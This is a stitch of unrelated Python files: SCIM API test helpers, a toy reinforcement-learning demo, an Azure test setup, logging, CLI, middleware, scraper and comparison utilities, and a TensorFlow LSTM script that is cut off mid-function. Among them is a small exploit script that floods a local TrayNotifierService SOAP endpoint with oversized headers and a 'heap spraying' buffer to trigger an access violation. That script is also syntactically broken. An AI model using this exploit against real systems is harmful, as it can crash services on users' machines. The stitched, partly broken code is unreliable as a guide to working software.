# -*- coding: utf-8 -*-
import json
import unittest
import uuid
from dataclasses import asdict
from os import environ
from typing import Any, Dict, List, Mapping, Optional, Union

from bson import ObjectId
from eduid_queue.db.message import MessageDB
from falcon.testing import Result, TestClient

from eduid_common.config.parsers import load_config
from eduid_common.config.testing import EtcdTemporaryInstance
from eduid_graphdb.testing import Neo4jTemporaryInstance
from eduid_userdb.signup import SignupInviteDB
from eduid_userdb.testing import MongoTemporaryInstance

from eduid_scimapi.app import init_api
from eduid_scimapi.config import ScimApiConfig
from eduid_scimapi.context import Context
from eduid_scimapi.db.common import ScimApiName
from eduid_scimapi.db.groupdb import ScimApiGroup
from eduid_scimapi.db.invitedb import ScimApiInvite
from eduid_scimapi.db.userdb import ScimApiProfile, ScimApiUser
from eduid_scimapi.schemas.scimbase import SCIMSchema

__author__ = 'lundberg'

class BaseDBTestCase(unittest.TestCase):
    """
    Base test case that sets up a temporary mongodb instance
    """

    mongodb_instance: MongoTemporaryInstance
    mongo_uri: str

    @classmethod
    def setUpClass(cls) -> None:
        cls.mongodb_instance = MongoTemporaryInstance.get_instance()
        cls.mongo_uri = cls.mongodb_instance.uri

    def _get_config(self) -> dict:
        config = {
            'debug': True,
            'testing': True,
            'mongo_uri': self.mongo_uri,
            'data_owners': {'eduid.se': {'db_name': 'eduid_se'}},
            'logging_config': {
                'loggers': {
                    #'eduid_groupdb': {'handlers': ['console'], 'level': 'DEBUG'},
                    'neo4j': {'handlers': ['console'], 'level': 'WARNING'},
                    'root': {'handlers': ['console'], 'level': 'DEBUG'},
                },
            },
        }
        return config

class MongoNeoTestCase(BaseDBTestCase):
    """
    Base test case that sets up a temporary Neo4j instance
    """

    neo4j_instance: Neo4jTemporaryInstance
    neo4j_uri: str

    def _get_config(self) -> dict:
        config = super()._get_config()
        config.update(
            {'neo4j_uri': self.neo4j_uri, 'neo4j_config': {'encrypted': False},}
        )
        return config

    @classmethod
    def setUpClass(cls) -> None:
        cls.neo4j_instance = Neo4jTemporaryInstance.get_instance()
        cls.neo4j_uri = (
            f'bolt://{cls.neo4j_instance.DEFAULT_USERNAME}:{cls.neo4j_instance.DEFAULT_PASSWORD}'
            f'@localhost:{cls.neo4j_instance.bolt_port}'
        )
        super().setUpClass()

    def tearDown(self):
        super().tearDown()
        self.neo4j_instance.purge_db()

class ScimApiTestCase(MongoNeoTestCase):
    """ Base test case providing the real API """

    etcd_instance: EtcdTemporaryInstance

    @classmethod
    def setUpClass(cls) -> None:
        super().setUpClass()
        cls.etcd_instance = EtcdTemporaryInstance.get_instance()
        environ.update({'ETCD_PORT': str(cls.etcd_instance.port)})

    def setUp(self) -> None:
        self.test_config = self._get_config()
        config = load_config(typ=ScimApiConfig, app_name='scimapi', ns='api', test_config=self.test_config)
        self.context = Context(config=config)

        # TODO: more tests for scoped groups when that is implemented
        self.data_owner = 'eduid.se'
        self.userdb = self.context.get_userdb(self.data_owner)
        self.invitedb = self.context.get_invitedb(self.data_owner)
        self.signup_invitedb = SignupInviteDB(db_uri=config.mongo_uri)
        self.messagedb = MessageDB(db_uri=config.mongo_uri)
        self.eventdb = self.context.get_eventdb(self.data_owner)

        api = init_api(name='test_api', test_config=self.test_config)
        self.client = TestClient(api)
        self.headers = {
            'Content-Type': 'application/scim+json',
            'Accept': 'application/scim+json',
        }

    def add_user(
        self, identifier: str, external_id: Optional[str] = None, profiles: Optional[Dict[str, ScimApiProfile]] = None
    ) -> Optional[ScimApiUser]:
        user = ScimApiUser(user_id=ObjectId(), scim_id=uuid.UUID(identifier), external_id=external_id)
        if profiles:
            for key, value in profiles.items():
                user.profiles[key] = value
        assert self.userdb
        self.userdb.save(user)
        return self.userdb.get_user_by_scim_id(scim_id=identifier)

    @staticmethod
    def as_json(data: dict) -> str:
        return json.dumps(data)

    def tearDown(self):
        super().tearDown()
        self.userdb._drop_whole_collection()
        self.eventdb._drop_whole_collection()
        self.etcd_instance.clear('/eduid/api/')

    def _assertScimError(
        self,
        json: Mapping[str, Any],
        schemas: Optional[List[str]] = None,
        status: int = 400,
        scim_type: Optional[str] = None,
        detail: Optional[str] = None,
    ):
        if schemas is None:
            schemas = [SCIMSchema.ERROR.value]
        self.assertEqual(schemas, json.get('schemas'))
        self.assertEqual(status, json.get('status'))
        if scim_type is not None:
            self.assertEqual(scim_type, json.get('scimType'))
        if detail is not None:
            self.assertEqual(detail, json.get('detail'))

    def _assertScimResponseProperties(
        self, response, resource: Union[ScimApiGroup, ScimApiUser, ScimApiInvite], expected_schemas: List[str]
    ):
        if SCIMSchema.NUTID_USER_V1.value in response.json:
            # The API can always add this extension to the response, even if it was not in the request
            expected_schemas += [SCIMSchema.NUTID_USER_V1.value]

        if SCIMSchema.NUTID_GROUP_V1.value in response.json:
            # The API can always add this extension to the response, even if it was not in the request
            expected_schemas += [SCIMSchema.NUTID_GROUP_V1.value]

        response_schemas = response.json.get('schemas')
        self.assertIsInstance(response_schemas, list, 'Response schemas not present, or not a list')
        self.assertEqual(
            sorted(set(expected_schemas)), sorted(set(response_schemas)), 'Unexpected schema(s) in response'
        )

        if isinstance(resource, ScimApiUser):
            expected_location = f'http://localhost:8000/Users/{resource.scim_id}'
            expected_resource_type = 'User'
        elif isinstance(resource, ScimApiGroup):
            expected_location = f'http://localhost:8000/Groups/{resource.scim_id}'
            expected_resource_type = 'Group'
        elif isinstance(resource, ScimApiInvite):
            expected_location = f'http://localhost:8000/Invites/{resource.scim_id}'
            expected_resource_type = 'Invite'
        else:
            raise ValueError('Resource is neither ScimApiUser, ScimApiGroup or ScimApiInvite')

        self.assertEqual(str(resource.scim_id), response.json.get('id'), 'Unexpected id in response')

        self.assertEqual(
            expected_location,
            response.headers.get('location'),
            'Unexpected group resource location in response headers',
        )

        meta = response.json.get('meta')
        self.assertIsNotNone(meta, 'No meta in response')
        self.assertIsNotNone(meta.get('created'), 'No meta.created')
        self.assertIsNotNone(meta.get('lastModified'), 'No meta.lastModified')
        self.assertIsNotNone(meta.get('version'), 'No meta.version')
        self.assertEqual(expected_location, meta.get('location'), 'Unexpected group resource location')
        self.assertEqual(
            expected_resource_type, meta.get('resourceType'), f'meta.resourceType is not {expected_resource_type}'
        )

    @staticmethod
    def _assertName(db_name: ScimApiName, response_name: Dict[str, str]):
        name_map = [
            ('family_name', 'familyName'),
            ('given_name', 'givenName'),
            ('formatted', 'formatted'),
            ('middle_name', 'middleName'),
            ('honorific_prefix', 'honorificPrefix'),
            ('honorific_suffix', 'honorificSuffix'),
        ]
        db_name_dict = asdict(db_name)
        for first, second in name_map:
            assert db_name_dict.get(first) == response_name.get(
                second
            ), f'{first}:{db_name_dict.get(first)} != {second}:{response_name.get(second)}'

    @staticmethod
    def _assertResponse(response: Result, status_code: int = 200):
        _detail = response.json.get('detail', 'No error detail in response')
        assert (
            response.status_code == status_code
        ), f'Response status was not {status_code} ({response.status_code}), {_detail}'


'''
A BASIC REINFORCEMENT LEARNING PROBLEM DEPECTING A SNAKE - RACE PROBLEM BASED ON REWARDS
a=1 -> LEFT TURN
b=1 depict-> NO TURN
c=1-> RIGHT TURN.

'''
import random
from typing import List

class SampleEnvironment:
        def __init__ (self) :
            self. steps_left = 10

        def get_observations(self)->List[float] :
            self.my_observation= random.randint(1, 100)
            observed_value=float(self.my_observation)
            if(self.my_observation<=33):
                return[observed_value,0.0,0.0]
            elif (self.my_observation>=33 and self.my_observation<=66):
                return[0.0,observed_value,0.0]
            else:
                return [0.0, 0.0, observed_value]

        def get_actions(self)->List[int]:
            if(self.my_observation<=33):
                return [1,0,0]
            elif (self.my_observation>=33 and self.my_observation<=66):
                return[0,1,0]
            else:
                return [0,0,1]

        def is_done(self) -> bool:
            return self. steps_left == 0

        def action(self, action: int)-> float:
            if self. is_done():
                raise Exception("Game is over")
            self. steps_left -=1
            return random. random()

class Agent:
    def __init__(self) -> None:
        self.total_reward=0.0

    def step(self,env: SampleEnvironment):
        current_obs=env.get_observations()
        print("Current Observation :  {} ".format(current_obs))
        actions= env.get_actions()
        if(actions==[0,1,0]):
            print("Current Action :  {} : NO TURN ".format(actions))
        elif(actions==[1,0,0]):
            print("Current Action :  {} : LEFT TURN ".format(actions))
        else:
            print("Current Action :  {} : RIGHT TURN ".format(actions))

        reward= env.action(random.choice(actions))
        self.total_reward += reward
        print('Reward Collected and State Changed...')
        print()

if __name__=="__main__":
    env = SampleEnvironment()
    agent=Agent()
    i=1
    while not env.is_done():
        print("STEP : ",i)
        i+=1
        agent.step(env)

    print("TOTAL REWARD AT THE END OF GAME IS : %.4f" %agent.total_reward)


# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import os
from azure.communication.administration._shared.utils import parse_connection_str
from _shared.testcase import CommunicationTestCase

class PhoneNumberCommunicationTestCase(CommunicationTestCase):
    def setUp(self):
        super(PhoneNumberCommunicationTestCase, self).setUp()

        if self.is_playback():
            self.connection_str = "endpoint=https://sanitized/;accesskey=fake==="
        else:
            self.connection_str = os.getenv('AZURE_COMMUNICATION_SERVICE_CONNECTION_STRING')
            endpoint, _ = parse_connection_str(self.connection_str)
            self._resource_name = endpoint.split(".")[0]
            self.scrubber.register_name_pair(self._resource_name, "sanitized")


import logging
from datetime import datetime

class Logger:
    formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
    def setup_logger(name="default", file_path="default.log", level=logging.INFO):
        """To setup many loggers"""
        if not logging.getLogger(name).hasHandlers():
            logger = logging.getLogger(name)
            logger.setLevel(level)

            fileHandler = logging.FileHandler(file_path, encoding="utf-8")
            fileHandler.setLevel(level)
            fileHandler.setFormatter(Logger.formatter)

            logger.addHandler(fileHandler)
            return logger
        else:
            return logging.getLogger(name)


#!/usr/bin/python3

# Copyright (C) 2019 lyz <lyz@riseup.net>
# This file is part of pydo.
#
# pydo is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# pydo is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with pydo.  If not, see <http://www.gnu.org/licenses/>.

from pydo.cli import load_logger, load_parser
from pydo.models import engine
from pydo.manager import TaskManager, ConfigManager
from pydo.ops import install
from pydo.reports import List, Projects, Tags
from sqlalchemy.orm import sessionmaker

import logging

__version__ = '0.1.0'

def main():
    parser = load_parser()
    args = parser.parse_args()
    load_logger()

    connection = engine.connect()
    session = sessionmaker()(bind=connection)
    config = ConfigManager(session)

    if args.subcommand == 'install':
        install(session, logging.getLogger('main'))
    elif args.subcommand in ['add', 'del', 'done']:
        task_manager = TaskManager(session)

        if args.subcommand == 'add':
            attributes = task_manager._parse_arguments(args.add_argument)
            task_manager.add(
                **attributes
            )
        elif args.subcommand == 'del':
            task_manager.delete(id=args.ulid)
        elif args.subcommand == 'done':
            task_manager.complete(id=args.ulid)
    elif args.subcommand in ['list', None]:
        List(session).print(
            columns=config.get('report.list.columns').split(', '),
            labels=config.get('report.list.labels').split(', ')
        )
    elif args.subcommand == 'projects':
        Projects(session).print(
            columns=config.get('report.projects.columns').split(', '),
            labels=config.get('report.projects.labels').split(', ')
        )
    elif args.subcommand == 'tags':
        Tags(session).print(
            columns=config.get('report.tags.columns').split(', '),
            labels=config.get('report.tags.labels').split(', ')
        )


import json
from typing import AsyncIterator
from starlette.requests import Request
from starlette.responses import Response, StreamingResponse
from starlette.status import HTTP_200_OK, HTTP_300_MULTIPLE_CHOICES

from db.crud.operation_log import OperationLog as OperationLogCRUD
from models.errors import HttpNotFound, HttpServerError

from db.crud.users import User
from db.crud.role import Role
from db.crud.user_role import UserRole
from db.crud.role_permission import RolePermission
from db.crud.user_group import UserGroup
# auto add import in here

# TODO support multiple level(like: user/1/xxx/1) in the future
GET_DATA_CLASS_MAP = {
    # router: crud classname, crud method
    "users": {"classname": User, "method": "get_user_by_id"},
    "register": {"classname": User, "method": "get_user_by_id"},
    "role": {"classname": Role, "method": "get_role_by_id"},
    "user_role": {"classname": UserRole, "method": "get_user_role_by_id"},
    "role_permission": {"classname": RolePermission, "method": "get_role_permission_by_id"},
    "user_group": {"classname": UserGroup, "method": "get_user_group_by_id"},
    # auto add map in here
}

RECORD_METHOD = {
    "PUT": True,
    "POST": True,
    "DELETE": True,
}

async def get_path_segs(path: str):
    return path.split("/")

async def gen_btree_path(path_segs: list):
    path = ".".join(path_segs[3:])
    # if len(path_segs) == 4 and id:
    #     path = "{}.{}".format(path, id)

    return path

async def get_data(name: str, id: int, pgpool):
    if name not in GET_DATA_CLASS_MAP.keys():
        raise HttpServerError("bad uri")

    info = GET_DATA_CLASS_MAP[name]
    obj = info['classname'](pgpool)
    func = getattr(obj, info['method'])

    return await func(id)

async def get_old_data(request: Request):
    # generate path: /api/v{api version}/xx/{id}
    path_segs = await get_path_segs(request['path'])
    if len(path_segs) < 5:
        raise HttpNotFound("bad uri")

    id = int(path_segs[-1])
    if id <= 0:
        raise HttpNotFound("bad uri")

    name = str(path_segs[-2])
    if not name:
        raise HttpNotFound("bad uri")

    # btree_path = gen_btree_path(path_segs)
    return await get_data(name, id, request.app.state.pgpool)

async def set_new_data(request: Request, data: str):
    request.state.oplog['new'] = data

async def set_new_data_id(request: Request, id: int):
    request.state.oplog['id'] = id

async def get_new_data_id(request: Request):
    return request.state.oplog['id']

def get_data_id(path_segs, oplog):
    if len(path_segs) > 4:
        return int(path_segs[4])

    if 'id' in oplog:
        return oplog['id']

    raise HttpNotFound("id not found")

def is_need_record(method):
    if method in RECORD_METHOD:
        return True

    return False

async def enable(request: Request):
    request.state.oplog = dict()

    # check http mathod
    method = request.method
    if method == "PUT" or method == "DELETE":
        # backup old data
        request.state.oplog['old'] = await get_old_data(request)
        request.state.oplog['enable'] = True
    elif method == "POST":
        request.state.oplog['enable'] = True
    else:
        request.state.oplog['enable'] = False

async def read_bytes(generator: AsyncIterator[bytes]) -> bytes:
    body = b""
    async for data in generator:
        body += data
    return body

async def get_body_from_streaming_response(streaming: StreamingResponse):
    return await read_bytes(streaming.body_iterator)

async def record(request: Request, response: StreamingResponse):
    if response.status_code < HTTP_200_OK \
            or response.status_code >= HTTP_300_MULTIPLE_CHOICES:
        return response

    try:
        oplog_enable = request.state.oplog['enable']
    except AttributeError:
        oplog_enable = False

    if not oplog_enable:
        return response

    method = request.method
    if not is_need_record(method):
        return response

    if method == "PUT" or method == "POST":
        if response.headers['content-type'] != "application/json" \
                and response.media_type != "application/json":
            # TODO warning log
            pass

        content = await get_body_from_streaming_response(response)
        response = Response(
            content,
            response.status_code,
            response.headers,
            response.media_type,
            response.background
        )

    pool = request.app.state.pgpool

    oplog = request.state.oplog
    path_segs = await get_path_segs(request['path'])

    old: str = None
    if method == "PUT" or method == "DELETE":
        old = oplog['old'].json()

    new: str = None
    if method == "PUT" or method == "POST":
        body = response.body.decode("utf-8")
        body_json = json.loads(body)
        id = body_json['id']

        if method == "POST":
            path_segs.append(str(id))

        new = await get_data(path_segs[-2], id, pool)
        new = new.json()

    # record oplog to db
    oplog_crud = OperationLogCRUD(pool)
    path = await gen_btree_path(path_segs)
    current_user = request.state.current_user

    creator = 0
    if current_user:
        creator = current_user.id

    await oplog_crud.add_operation_log(op=method, path=path, new=new,
                                       old=old, creator=creator)

    return response


from http import cookiejar
from urllib import request, error
from urllib.parse import urlparse
import time
from datetime import datetime, timedelta
import socket

DEFAULT_DELAY = 0
DEFAULT_TIMEOUT = 60

class HtmlDownLoader(object):
    def __init__(self, delay=DEFAULT_DELAY, timeout=DEFAULT_TIMEOUT):
        socket.setdefaulttimeout(timeout)
        self.throttle = Throttle(delay)

    def download(self, url, retry_count=3, headers=None, proxy=None, data=None):
        if url is None:
            return None
        try:
            self.throttle.wait(url)#延时
            req = request.Request(url, headers=headers, data=data)
            cookie = cookiejar.CookieJar()
            cookie_process = request.HTTPCookieProcessor(cookie)
            opener = request.build_opener()
            if proxy:
                proxies = {urlparse(url).scheme: proxy}
                opener.add_handler(request.ProxyHandler(proxies))
            content = opener.open(req).read()
        except error.URLError as e:
            print('HtmlDownLoader download error:', e.reason)
            content = None
            if retry_count > 0:
                if hasattr(e, 'code') and 500 <= e.code < 600:
                    #说明是 HTTPError 错误且 HTTP CODE 为 5XX 范围说明是服务器错误，可以尝试再次下载
                    return self.download(url, retry_count-1, headers, proxy, data)
        return content

class Throttle:
    """Throttle downloading by sleeping between requests to same domain
    """
    def __init__(self, delay):
        # amount of delay between downloads for each domain
        self.delay = delay
        # timestamp of when a domain was last accessed
        self.domains = {}

    def wait(self, url):
        """Delay if have accessed this domain recently
        """
        domain = urlparse(url).netloc
        last_accessed = self.domains.get(domain)
        if self.delay > 0 and last_accessed is not None:
            sleep_secs = self.delay - (datetime.now() - last_accessed).seconds
            if sleep_secs > 0:
                time.sleep(sleep_secs)
        self.domains[domain] = datetime.now()


import os
import hashlib
import pickle
from functools import partial
from pprint import pprint as pp

# class definitions for *_objects_equal functions
from collections.abc import Iterable
from numbers import Number

SEIR_HOME = os.environ['SEIR_HOME']

def md5sum(filename):
    """Credit to Raymond Hettinger's reply on SO post
    https://stackoverflow.com/questions/7829499/using-hashlib-to-compute-md5-digest-of-a-file-in-python-3
    """
    with open(filename, mode='rb') as f:
        d = hashlib.md5()
        for buf in iter(partial(f.read, 128), b''):
            d.update(buf)
    return d.hexdigest()
    # print(md5sum('utils.py'))

def fp(path):
    """Prepends SEIR_HOME to path and returns full path."""
    return os.path.join(SEIR_HOME, path)

def obj_to_pickle(obj, fp):
    """Pickle dumps Python `obj` to path `fp`"""
    with open(fp, 'wb') as f:
        pickle.dump(obj, f)
    assert os.path.isfile(fp)

def compare_dicts(old_d, new_d, show_diff=False):
    """Compares dictionaries by key and prints in sane format
    """
    if old_d.keys() != new_d.keys():
        print("\tkeys are different between old len({}) and new len({})".format(
            len(old_d.keys()), len(new_d.keys())))
    all_okay = True
    for k in sorted(set(list(old_d.keys()) + list(new_d.keys()))):
        print("   {}".format(k))
        if k not in new_d:
            print("*    new dict has no attr ")
            continue
        elif k not in old_d:
            print("*     old dict has no attr ")
            continue
        are_equal = are_objects_equal(old_d[k], new_d[k])
        if are_equal:
            print("    is same between legacy and new")
        else:
            print("*    is **DIFFERENT** between legacy and new")
            all_okay = False
            if show_diff:
                print("     old: ", old_d[k])
                print("     new: ", new_d[k])
    return all_okay

def assert_objects_equal(o1, o2, max_depth=20, verbose=False):
    """Checkout from tests/pytest_utils.py on commit
    4d568cf938e06551fa9980e1071ddc4ec2b93ebc
    """
    def both_inst_of(otype):
        try:
            return isinstance(o1, otype) and isinstance(o2, otype)
        except RecursionError as recur_err:
            # raise Warning()
            raise recur_err

    max_depth -= 1
    if verbose:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
    assert type(o1) is type(o2), \
        "types differ: {} vs {}".format(type(o1), type(o2))
    if max_depth <= 0:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
        raise RecursionError("assert_objects_equal reached " +
                             "maximum levels searched. ".format(max_depth) +
                             "Recommended to call this function with " +
                             "verbose=True")
    try:
        assert o1 == o2, "values differ"
    except AssertionError as ass_err:
        pp(o1)
        print("versus")
        pp(o2)
        raise ass_err
    except ValueError as val_err:
        if both_inst_of((Number, str)):
            # have to catch type str to prevent RecursionError
            # (strings are Iterable)
            assert o1 == o2, "values differ: {} vs {}".format(o1, o2)
        elif both_inst_of(dict):
            assert len(o1.keys()) == len(o2.keys()), \
                "len(dict.keys()) differ: {} vs {}".format(o1.keys(), o2.keys())
            for k in o1.keys():
                assert_objects_equal(o1[k], o2[k], max_depth=max_depth,
                                     verbose=verbose)
        elif both_inst_of(Iterable):
            assert len(o1) == len(o2), \
                "lengths differ: {} vs {}".format(len(o1), len(o2))
            for k in range(len(o1)):
                assert_objects_equal(o1[k], o2[k], max_depth=max_depth,
                                     verbose=verbose)
        else:
            raise ValueError("assert_objects_equal does not support " +
                             "comparisions of type '{}'".format(type(o1)))

def are_objects_equal(o1, o2, max_depth=20, verbose=False):
    """Returns True if Python objects `o1` and `o2` are equal. Equality
    is defined as having the same type. If objects are lists or
    dictionaries, recursively call self on all keys. Same as
    assert_objects_equal but returns boolean.
    """
    def both_inst_of(otype):
        try:
            return isinstance(o1, otype) and isinstance(o2, otype)
        except RecursionError as recur_err:
            # raise Warning()
            raise recur_err
    max_depth -= 1
    kwargs = {
        'max_depth': max_depth,
        'verbose': verbose}
    if verbose:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
    if max_depth <= 0:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
        raise RecursionError("are_objects_equal reached " +
                             "maximum levels searched. ".format(max_depth) +
                             "Recommended to call this function with " +
                             "verbose=True")
    try:
        return bool(o1 == o2)
    except ValueError as val_err:
        if type(o1) is not type(o2):
            return False
        elif both_inst_of((Number, str)):
            # have to catch type str to prevent RecursionError
            # (strings are Iterable)
            return bool(o1 == o2)
        elif both_inst_of(dict):
            if o1.keys() != o2.keys():
                return False
            return all([are_objects_equal(o1[k], o2[k], **kwargs)
                       for k in o1.keys()])
        elif both_inst_of(Iterable):
            if len(o1) != len(o2):
                return False
            return all([are_objects_equal(o1[k], o2[k], **kwargs)
                       for k in range(len(o1))])
        else:
            raise ValueError("compare_objects does not support " +
                             "comparisions of type '{}'".format(type(o1)))

def call_with_legacy_params(func, legacy_pickle,
                            override_args=None, override_kwargs=None,
                            verbose=False):
    """Given a file path `legacy_pickle` containing an encoded Python
    dictionary, run function `func` with the same args encoded in
    `legacy_pickle`, and pickle the returned value. Returns tuple
    with filepath to pickled legacy return value, filepath to pickled
    new return value, the legacy return value object, and the new return
    value object, respectively. The dictionary encoded in `legacy_pickle`
    must be type dict and minimally contain keys args, kwargs, and result.
    Specify keyword arguments `override_args` or `override_kwargs` to
    override pickled args/kwargs. For instance, specifying both will call
    func(*override_args, **override_kwargs).
    """
    assert os.path.isfile(legacy_pickle)
    with open(legacy_pickle, 'rb') as f:
        unpickled = pickle.load(f)
    assert isinstance(unpickled, dict)
    assert "args" in unpickled
    assert "kwargs" in unpickled
    assert "result" in unpickled

    # print function name and commit sha
    if verbose:
        if "fname" in unpickled:
            print("function name (fname):", unpickled['fname'])
        if "commit" in unpickled:
            print("'{}' was pickled on commit: {}".format(
                legacy_pickle, unpickled['commit']))
        print("'{}' was run with args: {}".format(
            legacy_pickle, unpickled['args']))
        print("'{}'  was run with kwargs: {}".format(
            legacy_pickle, unpickled['kwargs']))

    # add override args and kwargs if they were specified
    if override_args is None:
        args = unpickled['args']
    else:
        args = override_args
    if override_kwargs is None:
        kwargs = unpickled['kwargs']
    else:
        kwargs = override_kwargs

    # run same function using the same params
    result = func(*args, **kwargs)
    return (unpickled['result'], result)


#!/usr/bin/python

# XML-attribute is required: <ResourceIds> 10 </ResourceIds>
# no server-side validation about the availability of
# omit the XML-attribute "ResourceIds" leads to ACCESS_VIOLATION

import requests
import json
import html

action_payload=1*"A"
TrayIconUrl="http://localhost:11001/traynotifierservice"
header={"User-Agent":action_payload,
	"Content-Type":"text/xml; charset=utf-8",
	"SOAPAction":action_payload
	}

heap_spraying=1024*1024*"\x41" # 1 Megabyte

payload=1024*1024*"999999999999999999999"
html_msg="
HACK MACK...
 HACK MACK...."

SOAPMsg='<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:traynotifierservice="urn:TrayNotifierService"> \
<SOAP-ENV:Body> \
<traynotifierservice:ShowActionTimeoutDialog> \
<nTimeout>60</nTimeout> \

Caption
\
</traynotifierservice:ShowActionTimeoutDialog>\
</SOAP-ENV:Body> \
</SOAP-ENV:Envelope>'

try:
	r=requests.post(TrayIconUrl, data=SOAPMsg.encode(), headers=header)
#	r=requests.get(TrayIconUrl, params=payload, headers=header, timeout=60.0)
except requests.exceptions.RequestException as err:
	print("[-] Error...")
	print(err)
try:
	print(r)
	print(r.text)
except NameError as err:
	print("[-] Error...")
	print(err)


import numpy as np
# import matplotlib.pyplot as plt
# import matplotlib.cm as cm
# import soundfile as sf
# from PIL import Image
# import sklearn.decomposition as decomp
import tensorflow as tf
import tensorboard
import random

# ohlcvの入力シーケンス数
SEQUENCE = 84
# パラメータ数
PARAMS = 24
DATA_SIZE = SEQUENCE * PARAMS

# ラベル数
LABEL_NUM = 2

# 学習率
rate = 0.00001

# 学習回数
EPOCH = 10000

# LSTMの再起ノード数
NUM_RECURRENT = 10
# LSTMの階層
NUM_LSTM = 2

#########################################
# 関数定義
#########################################
# 重み関数 標準偏差0.1の範囲で初期化
def weight_variable(shape, mean=0):
    initial = tf.truncated_normal(shape, stddev=0.1, mean=mean)
    return tf.Variable(initial)

# バイアス関数 0.1のバイアスを持って初期化
def bias_variable(shape):
    initial = tf.constant(0.1, shape=shape)
    return tf.Variable(initial)

def conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME'):
    # xはinput[batch, h, w, ch]
    # Wはfilter[h, w, in_ch, out_ch]
    # stridesはストライドサイズ strides=[1, hstride, vstride, 1] [0]と[3]は1固定 どれだけ飛ばすか
    # paddingは'SAME'か'VALID' ゼロパディングするときはSAME
    return tf.nn.conv2d(x, W, strides=strides, padding=padding)

def max_pool_2x2(x, strides=[1, 2, 2, 1], name=None):
    # xはinput 畳み込み層の結果を入れる
    # ksizeはプーリングサイズ  ksize=[1, hpool, vpool, 1] [0]と[3]は1固定 どれだけの範囲をプーリングするか
    # stridesはストライドサイズ strides=[1, hstride, vstride, 1] [0]と[3]は1固定 どれだけ飛ばすか
    # paddingは'SAME'か'VALID' ゼロパディングするときはSAME
    # この引数では、2x2のサイズで最大値をとるプーリング処理をする
    # ストライド数が2,2なので、画像サイズが半分になる
    return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=strides, padding='SAME', name=name)

# batch norm
def layer_norm(x, size, moments=[0, 1, 2]):
    conv_mean, conv_var = tf.nn.moments(x, moments)
    conv_offset = weight_variable([size], mean=0)
    conv_scale = weight_variable([size], mean=1)
    return tf.nn.batch_normalization(x=x, mean=conv_mean, variance=conv_var, offset=conv_offset, scale=conv_scale, variance_epsilon=1e-5)

# convしたあとにばっちのーまらいず
def layer_conv_norm(x, W, size, strides=[1, 1, 1, 1]):
    r_conv = conv2d(x, W, strides=strides)
    return layer_norm(r_conv, size)

# 数字をラベルのリストに変換する
def Num_2_Label(num):
    label = [0] * LABEL_NUM
    label[int(num)] = 1
    return label

# イテレータ
def np_next(_arr, _s, _l=1024):
    ln = len(_arr)
    end = _s + _l
    if end < ln:
        arr = _arr[_s: end]
        s = end
        flag = True
    else:
        arr1 = _arr[_s: ln]
        end = end - ln
        arr2 = _arr[0: end]
        s = end
        arr = np.concatenate((arr1, arr2))
        flag = False
    return arr, s, flag

#########################################
# main
#########################################
def learningmain():

    # データを読み込む
    prelabels = np.load('labels.npy')
    predatas = np.load('datas.npy')

    # learning_rate_bias = np.zeros(LABEL_NUM)
    # 学習用ラベル
    learning_labels = []
    for l in prelabels[5000:-5000]:
        # learning_rate_bias[l] += 1
        learning_labels.append(Num_2_Label(l))

    # learning_rate_bias = np.divide(np.subtract(len(prelabels[5000:-5000]), learning_rate_bias), len(prelabels))

    test_labels = []
    # テスト用ラベル
    for l in np.concatenate((prelabels[:5000], prelabels[-5000:])):
        test_labels.append(Num_2_Label(l))

    # npに変換
    learning_labels = np.array(learning_labels)
    test_labels = np.array(test_labels)

    # 学習用データ
    learning_datas = predatas[5000:-5000]
    # テスト用データ
    test_datas = np.concatenate((predatas[:5000], predatas[-5000:]))

    # tensorflowの定義
    x_ = tf.placeholder(tf.float32, shape=[None, SEQUENCE, PARAMS], name='x')
    y_ = tf.placeholder(tf.float32, shape=[None, LABEL_NUM])

    stacked_cells = []
    for i in range(NUM_LSTM):
        c = tf.nn.rnn_cell.LSTMCell(num_units=NUM_RECURRENT)
        stacked_cells.append(c)

    cell = tf.nn.rnn_cell.MultiRNNCell(cells=stacked_cells)
    outputs, status = tf.nn.dynamic_rnn(cell=cell, inputs=x_, dtype=tf.float32, time_major=False)
    outputs_trans = tf.transpose(outputs, [1, 0, 2])
    last_outputs = tf.gather(outputs_trans, indices=SEQUENCE - 1)
    # last_outputs = tf.transpose(last_outputs, [0, 1, 2])
    # last_outputs = tf.reshape(last_outputs, [-1, NUM_RECURRENT * 5])

    # softmax
    W_fc1 = weight_variable([NUM_RECURRENT, LABEL_NUM])
    fc_mat = tf.matmul(last_outputs, W_fc1)
    fc_norm = layer_norm(fc_mat, LABEL_NUM, moments=[0])
    y_conv = tf.nn.softmax(fc_norm)

    # 交差エントロピーで実行結果を評価する
    cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_conv + 1e-9), reduction_indices=[1]))
    # 学習方法はAdamOptimizerにする
    train_step = tf.train.AdamOptimizer(rate).minimize(cross_entropy)
    # train_step = tf.train.GradientDescentOptimizer(rate).minimize(cross_entropy)
    # 正答率を求める
    correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1))
    accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))

    saver = tf.train.Saver()

    with tf.Session() as sess:
        ckpt = tf.train.get_checkpoint_state('./lstm_model/')
        if ckpt:
            # ckptがあるなら読み込む
            print("load " + ckpt.model_checkpoint_path)
